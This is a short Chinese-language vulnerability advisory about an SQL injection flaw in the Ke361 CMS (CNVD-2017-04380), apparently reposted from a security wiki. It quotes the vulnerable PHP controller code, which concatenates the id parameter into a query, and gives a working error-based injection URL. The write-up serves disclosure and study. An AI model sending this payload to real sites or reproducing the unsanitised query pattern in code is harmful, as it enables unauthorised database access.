Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380
Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380
漏洞描述
Ke361 TopicController.class.php 文件中 detai() 函数中存在 SQL注入漏洞
漏洞影响
Ke361
环境搭建
漏洞复现
CMS产品页面

存在漏洞的文件为 Application/Home/Controller/TopicController.class.php, 漏洞函数详情

public function detail(){
$id = I('id');
$where['tid'] = $id;
$TopicModel = new TopicModel();
$topicInfo = $TopicModel->info($id);
// if(empty($topicInfo)){
// $this->error('您查看的专题不存在哦!');
// }
// 这里注释掉,默认不存在专题
M('Topic')->where('id='.$id)->setInc('hits');
$this->setSiteTitle($topicInfo['title']);
$goods = $this->lists(D('Goods'),$where);
foreach ($goods as $k=>$v){
$goods[$k]['url'] = U('/goods/'.$v['id']);
}
$this->assign('goods',$goods);
$this->assign('topic',$topicInfo);
$this->display();
}
这里接收参数 id,然后执行SQL语句, 通过报错注入可以获取数据库数据
/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+


参考来源:PeiQi-WIKI-Book:https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/f4596359a8b7b31ae4d231eeaec711706b892ed2/docs/wiki/cms/Ke361/Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380.md;原文完整保留。项目要求转载保留版权声明,未经许可不得修改或商用;多篇来源于第三方,权利待核查。